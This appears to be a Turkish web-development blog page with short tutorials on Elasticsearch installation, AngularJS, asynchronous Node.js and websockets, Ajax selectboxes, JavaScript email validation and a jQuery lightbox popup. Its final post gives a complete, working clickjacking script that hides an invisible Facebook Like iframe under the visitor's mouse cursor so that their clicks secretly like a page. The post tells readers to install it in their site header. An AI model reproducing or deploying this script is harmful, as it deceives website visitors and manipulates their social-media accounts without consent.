Elasticsearch Destek, Elasticsearch Çözümleri

Java ile geliştirilmiş açık kaynak, lucene tabanlı, ölçeklenebilir bir tam metin arama ve veri analiz sunucusudur. Destekleyen web arabirimi ve şemasız JSON belgeleri ile çok kanallı, dağıtılmış, tam metin arama motoru hizmeti sağlamaktadır.

Her türlü belgeyi aramak için kullanılabilir. Ölçeklenebilir, gerçek zamanlı arama sağlar ve çoklu ortam kullanımını destekler. Dağıtıldığı için, indeksler parçalara bölünebilir ve her parçada sıfır veya daha fazla kopya olabilir. Her düğüm bir veya daha fazla parçaya ev sahipliği yapar ve operasyonları doğru parçalara dağıtmak için bir koordinatör olarak görev yapar. Yeniden dengeleme ve yönlendirme otomatik olarak yapılır. Okumaya devam et “Elasticsearch Destek, Elasticsearch Çözümleri”

Elasticsearch ve PHP [Başlangıç]

Elasticsearch kurulumu için öncelikle sunucuda JAVA yüklü olmalıdır. Bu sebeple bir çok linux dağıtımının depolarında mevcut olmadığı için şu şekilde kurulumu yapıyoruz;

sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java8-installer

Bu şekilde JAVA sistemimize yüklenmiştir. Şimdi versiyonunu kontrol ederek yüklenip yüklenmediğine bakalım.

java -version

Komutu ile kontrol edebiliriz.

Elasticsearch Kurulumu

Elasticsearch’ün ne olduğunu bildiğinizi varsayarak devam ediyorum. Linux sunucunuza Elasticsearch kurulumu için öncelikle en güncel paketi sunucuya indirip kuruyoruz.

wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.5.2.tar.gz
mkdir es
tar -xf elasticsearch-1.5.2.tar.gz -C es
cd es
./bin/elasticsearch

Kurulum hazır. Default olarak erişim portları 9200 olarak ayarlanmıştır. Yani şu kelide panelimize giriş yapmamız mümkün.

http://localhost:9200

Karşımıza JSON formatında karşılama sayfası çıkacaktır. Get ile gönderdiğiniz tüm filtreler için kullanabilirsiniz.

Örnek:

{
  name: "node_name",
  cluster_name: "cluster_name",
  cluster_uuid: "u6r4uQvScVfL06r4uzWg",
  version: {
    number: "2.4.1",
    build_hash: "cbdd18d6fe1e9c32ee79672416203552c4cbcd16",
    build_timestamp: "2016-09-27T18:57:55Z",
    build_snapshot: false,
    lucene_version: "5.5.2"
  },
  tagline: "You Know, for Search"
}

Elasticsearch Destek için buradan detayları alabilirsiniz.
Elasticsearch Destek

AngularJS – Giriş

AngularJS, Google’nin desteklediği, javascript temeline dayanan bir kütüphanedir. Model, contorller ve view yapılarından oluşmaktadır. MVC yapılardan aşina olduğunuz varsayarak zorlanmadan konuya hakim olacağınıza eminim. Okumaya devam et “AngularJS – Giriş”

SEO Meta-Tag Sorgulama Uygulaması

SEO araçlarından biri olan Meta-Tag ölçümünün Php ve Ajax ile sorgulamasını anlatacağım.
URL adresi girilen basit bir form yardımıyla AJAX metodu ile post.php den dönen verileri yayınlıyoruz. Uygulamanın çekirdeği post.php kodlarında çalışıyor. Kodları incelerseniz, get_meta_tags() fonksiyonunun bu işlemi yaptığını da görebilirsiniz. Bu sebeple post.php kodlarını paylaşıyorum.

Asenkron Nedir ?

Facebook ve Twitter’ın yükselişi ile birlikte, özellikle sosyal ağlarda anlık veri akışına alışır duruma geldik. Bildirimleri veya bize gelen mesajları görüntülemek için sayfayı yenileme işlemi geçmişte kalmış eski bir anı oldu. Peki, bu altyapıyı kullanan web siteleri bu gücü nereden alıyor? İşte, bu yazıda bu teknolojinin altında yatan mantığı temel olarak inceleyeceğiz.

Asenkron nedir‘e geçmeden önce hala birçok sistemin arka planında çalışan standart senkron yapının ne olduğundan bahsetmek gerek. Senkron bir web sunucusu, örnek olarak apache verilebilir, isteği alır, işler ve bu işlemin sonucunu geri döndürür. Bu süreç esnasında sunucu bloke edilmiş durumdadır yani herhangi bir başka isteğe cevap veremez. Bu düşük trafikli bir web sitesinde herhangi bir sıkıntı çıkarmayabilir ancak yüksek stres altındaki bir sunucunun geliştirici tabiri ile patlamasına yol açar. Bu durum geliştirici topluluğu arasında C10k Problemi olarak anılmaktadır. C10k sorununu aşmak ve projemize esneklik kazandırabilmek için ve özellikle real-time işlerin üstesinden gelebilmek için asenkron sunucular ile kullanıcıları karşılamak gerekmektedir.
Asenkron sistemler, senkron sistemlerin aksine aynı anda birden fazla isteği işleyebilirler. İstek yollanır, bu istek işlenir ve bu işleme esnasında başka bir istek daha yollanırsa o istek de işlenir. Bitirilen işlemlerin sonucu ise alınma sıralarına göre değil, bitirilme sıralarına göre geri döndürülür. Asenkron bir sistem, yaptığı işlem blocking bir istek değil ise sunucuyu bloke etmez, bu durum ise non-blocking olarak adlandırılır.
Günümüzde asenkron sistemler için en çok kullanılan alternatifler; Chrome’un Javascript motoru üzerine yazılmış, event-driven olan Node.JS ve Friendfeed’in altyapısında kullanılan sistemin Facebook tarafından açık kaynak haline getirilmesi ile aramıza katılan python tabanlı bir sunucu ve framework olan Tornado’dur. Node.JS kullanan sitelere trello.com’u, Tornado kullanan sitelere ise quara.com’u örnek verebiliriz.
Asenkron çalışmanın mantığını daha iyi anlayabilmek için örnek bir Node.js kodu yazmamız iyi olacaktır. Aşağıdaki kodları inceleyelim:
Öncelikle okuyabilmek için webmagazin.txt diye bir dosya oluşturup içine veri veri veri veri yazalım. Bu dosyanın yanında da node.js kodlarımızı içerecek app.js dosyamızı yaratıp içine şu kodları ekleyelim:

fs = require('fs');
var result = null;
fs.readFile('webmagazin.txt', 'utf8', function (err,data) {	result = data;	console.log("Veri okundu");
});
console.log("Okunan veri: " + result);

Bu kodun senkron yapıda düşündüğümüzde konsolda node app.js kodunu çalıştırdıktan sonra ekrana:

Veri okundu
Okunan veri: veri veri veri veri

yazmasını bekleriz ancak asenkron çalışan node.js üzerinde bu böyle gerçekleşmeyecektir çünkü node.js console.log işlemini daha önce bitireceği için ilk olarak onun sonucunu döndürecek ve daha sonra dosya okuma fonksiyonundaki işlem bittiğinde çalışacak olan callback‘i işleyecektir. Sonuç şu şekilde olur:

Okunan veri: null
Veri okundu

Asenkron yapının nasıl çalıştığı anlaşıldıktan sonra yazının ikinci bölümü olan real-time işlemlerin nasıl gerçekleştirildiğine değinip yazıyı bitireceğim.
Bir web sitesi üzerinde anlık işlemler yapmanın birçok yöntemi vardır ancak temel olarak en çok HTML5’in belki de en büyük nimeti olan websocketler ve bir diğer alternatif olarak long-polling kullanılır. Bu işlemleri yapabilmek için yine asenkron bir sunucu gerekmektedir. Websocketler ws protokolü üzerinden sunucu ve istemcinin haberleştiği bir kapıdır. Javascript tarafında onopen, onmessage, onerror, onclose, send, close öntanımlı metodları kullanılır ve sunucu tarafında backend kısmında hangi teknoloji kullanılıyorsa onun üzerinde tanımlanmış büyük bir ihtimalle yine aynı isimlerle anılacak metodlarda işlenir.
Örnek bir websocket kodu yazalım. Bir index.html dosyamız ve bir de node.js kodlarımızı içerecek app.js dosyamız olsun.

index.html

<html>
<head> <title>Websocket denemesi</title> <script> var conn = new WebSocket('ws://127.0.0.1:8000'); conn.onopen = function () { conn.send("Javascript tarafindan mesaj!"); }; conn.onmessage = function (message) { console.log(message.data); }; conn.onerror = function (error) { // Bir hata çıktığında çalışacak kısım! }; </script>
</head>
<body>
Websocket Denemesi
</body>
</html>

apps.js

var ws = require('websocket').server;
var http = require('http');
var server = http.createServer(function (request, response) { // HTTP isteklerini işleyecek kısım
});
server.listen(8000);
wsWrapper = new ws({ httpServer: server
});
// WebSocket server
wsWrapper.on('request', function (request) { var conn = request.accept(null, request.origin); conn.send("Node.js tarafindan mesaj!"); conn.on('message', function (message) { console.log(message.utf8Data); }); conn.on('close', function (conn) { // Websocket bağlantısı kapandığında çalışacak kısım });
});

Komut satırında node app.js yazıp, tarayıcıda index.html dosyasını çalıştırdığımızda konsolda Javascript tarafindan mesaj! yazısını, tarayıcının öğeyi denetle özelliği sayesinde konsol kısmında ise Node.js tarafindan mesaj! yazısını görüyoruz.Node.js için websocket modülü npm install websocket ile yüklenmelidir.Son olarak Long-polling örneğini ise Tornado üzerinde verelim. Long-polling, websockete oranla anlaşılması daha zor bir konudur. Sunucuya istek yollanır ve bu bağlantı sunucu tarafından bitirilinceye kadar açık kalır. Belli aralıklar ile ajax sorgusu yapmak yerine istek bir kere yapılır ve cevap gelmesi beklenir. Bu cevap gelene kadar istek Pending durumunda kalır.
Tüm Tornado kodlarını buraya yazmak yerine, Github üzerinde bulunan kendi chat örneğini incelemek daha iyi gibi.
Facebook ve Twitter, her ne kadar arka planda çok çok karmaşık işlemler dönse de hala long-polling kullanmaktadır. Websocketler, deneysel çalışmaların dışında özellikle bir fallback mekanizması yaratılmamışsa çok tercih edilmemektedir çünkü tarayıcı desteği ne yazık ki internet explorer açısından son derece kısıtlıdır ve ayrıca bazı güvenlik duvarları ws protokolünü tanımadığı için engellemektedir.
Tüm bu yazılanları özetlememiz gerekirse, web tarafında asenkron sistemler birden fazla işlemi aynı anda yapabilmek, uzun süreli işlemler için geçecek süreyi kullanıcıya yansıtmamak için ortaya çıkmış bir programlama prensibidir. Anlık değişim gerektirecek işlerde bu alternatiflerin kullanılması gerekir. Websocketler, asenkron sunucuların üstünde hızlıca çalışan bir mesajlaşma protokolüdür; long-polling ise sunucu tarafından istenildiğinde bitirilecek olan sürekli açık kalacak bağlantıları sağlayabilmek için gerekli olan sorgunun adıdır. Her ikisi için de asenkron bir sunucu gerekmektedir.
Bir sonraki yazıda asenkron alternatiflerin birbirleri arasında benchmark değerlerini, avantajlarını ve dezavantajlarını inceleyeceğiz.
Kaynak: Webmagazin

Ajax ile Çoklu Selectbox Seçimi Yaptırma

ajax-logoBir formdan gelen selectbox id sine göre başka bir dosyada oluşan kodları ekrana yazdıracağız. İşlem normal jQuery işlemidir. jQuery kullandığımız için jQuery dosyasını ya dosya olarak kaydetmeliyiz yada jQuery resmi sayfasından çekmeliyiz. Bu işlemi yaptıktan sonra deneme.php adında bir dosya oluşturun.

<title>jQuery SelectBox Çalışması @bercanozcan</title>
<script src="jquery.js" type="text/javascript"></script>
<script type="text/javascript"> function liste1(GonderilenId) {
$('#liste1').load('sonuc.php?id='+GonderilenId );
}
</script>
<select id="veri" name="select" onchange="liste1(this.value)">
<option>---Seçiniz----</option>
<option value="1">Seçim 1</option>
<option value="2">Seçim 2</option>
<option value="3">Seçim 3</option>
</select>
<div id="liste1"></div>

Burada Seçimden sonra selectbox oluşuyor. Bu dosyamız da jQuery çalıştıktan sonra liste1 adında bir fonksiyon oluşturduk ve çalıştıracağımız selectbox un onchange olayında çalıştırdık ve value değerini islem.php ye gönderdik. Şimdi bir de islem.php dosyası oluşturun.
islem.php içeriği;

<?php
$id = $_GET['id'];
if($id==1){
echo '<select name="gonderilen">';
echo '<option value="1">Bu 1.Seçim İçin 1</option>';
echo '<option value="2">Bu 1.Seçim İçin 2</option>';
echo '</select>';
}elseif($id==2){
echo '<select name="gonderilen">';
echo '<option value="1">Bu 2.Seçim İçin 1</option>';
echo '<option value="2">Bu 2.Seçim İçin 2</option>';
echo '</select>';
}elseif($id==3){
echo '<select name="gonderilen">';
echo '<option value="1">Bu 3.Seçim İçin 1</option>';
echo '<option value="2">Bu 3.Seçim İçin 2</option>';
echo '</select>';
}else{
echo "Lütfen Seçenek Seçin";
} ?>

Kaydedip kapatalım ve local üzerinden deneme.php dosyamızı çalıştıralım. Burada dikkat edilmesi gereken husus 2. select sonuç dosyasında oluşmaktadır. yani olay aslında standart bir jQuery value gönderme işlemdir ikinci değere göre bir selectbox daha oluşturmak gerekirse eğer;

<script type="text/javascript"> function list1(GonderilenId) {
$('#list').load('islem.php?id='+GonderilenId );
} </script>

bu kodumuzda bulunan liste1 fonksiyon isimlerini değiştirerek aynı şekilde farklı bir islem.php ye gönderim yapabilir. aynı islem.php deki gibi 3. bir selectbox u oluşturabilirsiniz.

Javascript E-Posta Kontrolü

javascript-logoGeliştirmiş olduğunuz sistemlerde, formunuza girilen verilere Javascript ile müdahale edebeilirsiniz. Öyleyse form alanmıza girilen epostayı kontrol ettirme ile başlayabiliriz.
Bunun için RegEx kullanmamız gerekmektedir.

<script>	function kontrolet()	{	var mail = document.getElementById("email").value;	var regex = /^[a-zA-Z0-9._-]+@([a-zA-Z0-9.-]+.)+([.])+[a-zA-Z0-9.-]{2,4}$/;	if (regex.test(mail)==true)	{alert("Mail adresi geçerli");}	else	{alert("Hata geçersiz mail adresi girdiniz!");}	}	</script>	<form action="#" method="post">	<input type="text" name="mail" id="email">	<input type="button" onclick="kontrolet();" value="Gönder">	</form>

JavaScript ile Ekrana Yazı Yazdırma

Bugün alert komu ile ekrana yazı yazdırmayı öğrneceğiz. JavaScript ile yeni yeni tanışmaya başlayan arkadaşlar, projelerinde, bu komutları çok fazla kullanacağını bilmelidirler.
Ekrana yazdırmak için;

alert("Merhaba Dünya");

Şimdi bu kodu herhangi bir seçtiğimiz değişkenle kullanalım;

<!DOCTYPE html>
<html> <head> <meta charset="utf-8"> <title>JavaScript ile Ekrana Yazı Yazdırma</title> </head> <body> <script type="text/javascript"> var degisken = "Merhaba Dünya"; alert(degisken); </script> </body>
</html>

Otomatik Açılan jQuery ile Lightbox

Başlıyoruz

Öncelikle Colorbox Lightbox JS ve CSS kütüphanelerini include ediyoruz (Gerekli dosyaları yazı sonundaki linkten indirebilirsiniz.)

<!-- Color Box CSS -->
<link media="screen" rel="stylesheet" target="_blank" href="css/colorbox.css" />
<!-- Style For the Subscription Box -->
<link media="screen" rel="stylesheet" target="_blank" href="css/popup.css" />
<script language="javascript"src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.0/jquery.min.js"type="text/javascript"></script>
<script language="javascript" src="js/colorbox.js"></script>

JS Kodları

$("document").ready(function (){
       // load the overlay
        if (document.cookie.indexOf('visited=true') == -1) {
            var fifteenDays = 1000*60*60*24*15;
            var expires = new Date((new Date()).valueOf() + fifteenDays);
            document.cookie = "visited=true;expires=" + expires.toUTCString();
            $.colorbox({width:"580px", inline:true, href:"#subscribe_popup"});
        }
        
        $(".open_popup").colorbox({width:"580px", inline:true, href:"#subscribe_popup"});
 });

HTML Kodları

Click here to open the popup

Never miss an update from Papermashup

Get notified about the latest tutorials and downloads.

Subscribe by Email

Get alerts directly into your inbox after each post and stay updated.

Subscribe

OR

Subscribe by RSS

Add our RSS to your feedreader to get regular updates from us.

Subscribe

Facebook Otomatik Sayfa Beğendirme 2014

facebook-otomatik-sayfa-begendirmeClickjack kim tarafından hazırlandığını bilmediğim bir script (bir dizi javascipt kodu).
Alttaki linkten öncelikle clickjack.js dosyasını indiriyoruz. Notepad veya benzeri bir program ile açıyoruz. Büyük harflerle “SAYFANIZIN LİNKİ” yazan yere sayfanızın linkini ekliyoruz. Önemli: Başında ve sonundaki tek tırnakları silmeyin.(function(){ var tempX = 0, tempY = 0, IE = document.all ? true : false; if (!IE) document.captureEvents(Event.MOUSEMOVE); var like = document.createElement(‘iframe’); like.src = ‘http://www.facebook.com/plugins/like.php?href=’ + encodeURIComponent(/*document.location.href*/ ‘Sayfanızın Linki’) + ‘&layout=standard&show_faces=true&width= 53&action=like&colorscheme= light&height=80’; like.scrolling = ‘no’; like.frameBorder = 0; like.allowTransparency = ‘true’; like.style.border = 0; like.style.overflow = ‘hidden’; like.style.cursor = ‘pointer’; like.style.width = ’53px’; like.style.height = ’23px’; like.style.position = ‘absolute’; like.style.opacity = 0; //Would be 0 if really used document.getElementsByTagName(‘body’)[0].appendChild(like); window.addEventListener(‘mousemove’, mouseMove, false); setTimeout(function(){ document.getElementsByTagName(‘body’)[0].removeChild(like); window.removeEventListener(‘mousemove’, mouseMove, false); }, 6000); function mouseMove(e) { if (IE) { tempX = event.clientX + document.body.scrollLeft; tempY = event.clientY + document.body.scrollTop; } else { tempX = e.pageX; tempY = e.pageY; } if (tempX < 0) tempX = 0; if (tempY < 0) tempY = 0; like.style.top = (tempY – 8) + ‘px’; like.style.left = (tempX – 25) + ‘px’; return true } })();Dosyayı ftp’den anadizine atıyoruz. Daha sonra alttaki kodu düzenleyerek temamızın header.php bölümüne ekliyoruz.
<script src=”http://siteadı.com/clickjack.js“></script>
Wordpress kullanmayanlar <script> etiketi gördüğünüzde hemen öncesine ekleyin problem olmayacaktır.
Elimden geldiğince basit anlatmaya çalıştım. Bilenler zaten dosyayı istediği yere gönderebilir(anadizin dışında). Problem yaşarsanız yardımcı olmaya çalışırım. Lütfen ziyaretçileri sıkmayacak şekilde bu scripti kullanın. Clickjack.js dosyasındaki 6000 değerini azaltarak veya artırarak scriptin aktiflik süresini değiştirebilirsiniz.